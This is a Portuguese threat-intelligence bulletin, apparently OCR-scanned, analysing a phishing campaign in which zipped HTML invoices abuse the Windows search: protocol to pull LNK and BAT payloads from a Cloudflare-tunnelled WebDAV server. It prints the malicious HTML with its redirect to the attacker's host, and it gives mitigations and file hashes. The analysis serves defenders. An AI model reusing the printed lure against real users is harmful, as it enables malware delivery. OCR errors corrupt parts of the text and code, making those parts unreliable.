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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

Pesquisadores do Trustwave identificaram uma campanha de malware
altamente sofisticada que explora a funcionalidade de pesquisa do Windows,
integrada ao codigo HTML, para disseminar malware.
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2 DETALHES SOBRE A AMEAGA

Os atores da ameaga demonstraram um entendimento avancado das
vulnerabilidades do sistema e dos padroes de comportamento dos usuarios. A
analise do HTML e do codigo de pesquisa do Windows sera realizada para elucidar
suas fungdes no processo de ataque.

A campanha de malware se inicia com um e-mail duvidoso que traz um
anexo HTML, mascarado como um documento comum, tal como uma fatura. Para
intensificar a fraude e burlar os sistemas de seguranca de e-mail, o agente
malicioso insere o arquivo HTML em um arquivo ZIP.

Esta adicional camada de ocultagao tem multiplos objetivos:

e Diminui o tamanho do arquivo, permitindo uma transmissao mais veloz

e Escapade scanners que podem nao detectar contelidos compactados

e Acrescenta um passo adicional para os usuarios, o que pode enfraquecer
medidas de seguranga mais basicas.

Subject rustwave MailMarst

Payment Confirmation

Message Connection Log Content Analysis Log Details
- B663cfeb90012.663cfec20059.0,
Type HTML File Size B43.00 Bytes
Message Headers ~

Message Body

Message Body

- INVOICE#TBAVSAQJBSNA zip <p><a href="search:query=INVOICE&amp;crumb=1location:\\tender-coding-bi-

a ate.tr iflare. i 3 amp; dis, ame

L' CICE TRATEATIBSRAK: associate. trycloudflare. com@SSL\DaviWWRoot \google\INVOICE&amp ; displayname
<jar</p>

2ZIP archive enclosing the malicious HTML
</body></html>
v

< >

Figura 1 - MailMarshal extraindo o arquivo HTML do arquivo ZIP.

O anexo HTML, que faz parte desta campanha e parece inofensivo a primeira
vista, foi projetado para desencadear um ataque complexo. Quando é aberto, este
arquivo HTML manipula os protocolos web padrao para explorar as funcionalidades
do sistema operacional Windows.

\VOICE#TBAVSAQJBSNAhtml X

<html>

<head> </head>

<body>

<div id="in-page-channel-node-id" data-channel-name="in_page_channel_cnXeDd"> </div><meta
http-equivs"Content-Type" contents"text/html; charsetsUTF-8">

<link rel="icon" href="https://winaero.com/blog/wp-content/uploads/2016/05/build-10158.png">

<meta property="og:image" content="https://winaero.com/blog/wp-content/uploads/2016/05/build-18158.png">
<title>INVOICE RVEBSAKSA</title>
@ <meta http-equiv="refresh" content="8; URL=search:query=INVOICE&amp;
crumb=location:\\tender-coding-bi-associate.trycloudflare.com@sSL\DaviWWRoot\google\INVOICESamp;
displayname=Downloads">
@ <p><a href="search:query=INVOICE&amp;crumb=location:\\tender-coding-bi-associate.trycloudflare.
com@SSL\DavivWwWRoot \google\INVOICE&amp;displayname=Downloads" > INVOICE </a></p>
</body></html>

Figura 2 - Trecho de cddigo do anexo HTML.
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No cdédigo HTML, um elemento crucial é a tag e o atributo associado. Este
atributo orienta o navegador a recarregar a pagina automaticamente e redireciona-
la para uma nova URL, com um atraso definido pelo préprio atributo. Neste caso, o
atraso é zero, fazendo com que o redirecionamento seja imediato assim que a
pagina é carregada, sem dar ao usuario a chance de perceber qualquer atividade
suspeita. Além do redirecionamento automatico, o HTML contém uma tag ancora
chamada 2, que atua como um mecanismo de contingéncia. Se a atualizacao meta
nao for realizada, talvez devido a configuragdes do navegador que impedem tais
redirecionamentos, a existéncia de um link clicavel ainda representa uma ameaca,
pois incentiva o usuadrio a iniciar a exploracao de pesquisa manualmente.

2 [ [ INVOKERVEBSAKSA x | -+ =En A
(@] D filey//Cy/Users/t/Desktop/INVOICE%23TBAVSAOJBSNA htmi m & @ ¥ - >
INVOICE This site is trying to open Windows Explorer.
filez// wants to open this application
l:] Adnarys allow file// 1o open links of this type in the associated app
N -
Link

search.query=INVOICE&crumb=location:\\tender-coding-bi-associate.trycloudflare.com@SSL\
DavWWWRootigoogle\INVOICE&displayname=Downloads

Figura 3 - Prompt acionado na execugdo do comando de busca.

Quando o HTML é carregado, os navegadores geralmente pedem ao usuario
para autorizar a agao de pesquisa. Esta € uma medida de seguranga que impede
que comandos ndo autorizados realizem operagdes potencialmente danosas sem
o consentimento do usudrio. A URL de redirecionamento faz uso do protocolo
search:, um recurso util, porém potencialmente perigoso, que permite que os
aplicativos interajam diretamente com a funcéo de pesquisa do Windows Explorer.

search:query=INVOICE&amp;crumb=location:\\tender-coding-bi-associate.
trycloudflare.com@SSL\DaviWiWRoot\google\INVOICE&amp;displayname=Downloads

Figura 4 - Trecho de cddigo da consulta de pesquisa do Windows

Um invasor manipula esse protocolo para iniciar automaticamente o
Windows Explorer e executar uma pesquisa com parametros definidos pelo agente
malicioso:

e query: orienta a pesquisa para buscar itens marcados como “INVOICE”.

e crumb: Determina o alcance da pesquisa, direcionando-a para um diretério
especifico, que neste caso é um servidor mal-intencionado tunelado via
Cloudflare.

e displayname: auxilia na decepcao do usudrio ao renomear a visualizagao
da pesquisa para “Downloads”, simulando nomes comuns de interface de
usuario, o que faz a acao maliciosa parecer legitima.

e localizacao: os invasores se aproveitaram do servico de tunelamento da
Cloudflare para esconder seus servidores e disfarcar suas acobes
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maliciosas. A integracdo do WebDAV permite que recursos remotos sejam
apresentados como locais. Isso torna a farsa mais convincente e mais dificil
para os usuarios identificarem a intencdo maliciosa, ja que os arquivos
exibidos imitam documentos legitimos.

O ataque avanca para a proxima etapa apds o usuario permitir a acao de
busca. A fungao de pesquisa recupera arquivos homeados como faturas de um
servidor remoto. Apenas um item, especificamente um arquivo de atalho (LNK),
aparece nos resultados da pesquisa. Este arquivo LNK direciona para um scriptem
lote (BAT) hospedado no mesmo servidor, que, quando clicado pelo usuério, pode
iniciar operagdes maliciosas adicionais.

d ] Search Tools INVOICE - search-maqueny= INVOIESicrumb= location: 50 e 5Ctender- coding -bi-astocintetrye.., - o b4
B e s ven e @
4 0 » Downloads w | INVOICE

13 Hetwek

Figura 5 - Janela de pesquisa exibindo resultados apds invocar a consulta de pesquisa.

Durante a investigacdo, a carga util (BAT) ndo estava acessivel, pois o servidor
aparentava estar desativado. Contudo, o ataque evidencia um entendimento avancado
das falhas do sistema e das agdes dos usuarios.
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3 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Uma opc¢ao para evitar a exploracéo do protocolo URI search-ms/search é
desabilitar esses manipuladores excluindo entradas de registro associadas. Isso
pode ser conseguido com os seguintes comandos:

o regexcluir HKEY_CLASSES_ROOT\search /f
o regexcluir HKEY_CLASSES_ROOT\search-ms /f

Foi implementado também atualizagdes para clientes do MailMarshal que
identificam caracteristicas do arquivo HTML que abusa do manipulador de URI de
pesquisa.
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4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: f77a4a27f749703165e2021fecd73db9

sha1: cbc3a8e762e0f2eda9e8a9bde348d04d1d7cel7e
sha256: d136dcfc355885c502ff2c3be229791538541b748b6c07df3ced95f9a7eb2f30

File name: INVOICE#TBAVSAOJBSNA.html
Tabela 1 -Indicadores de Compromissos de artefatos
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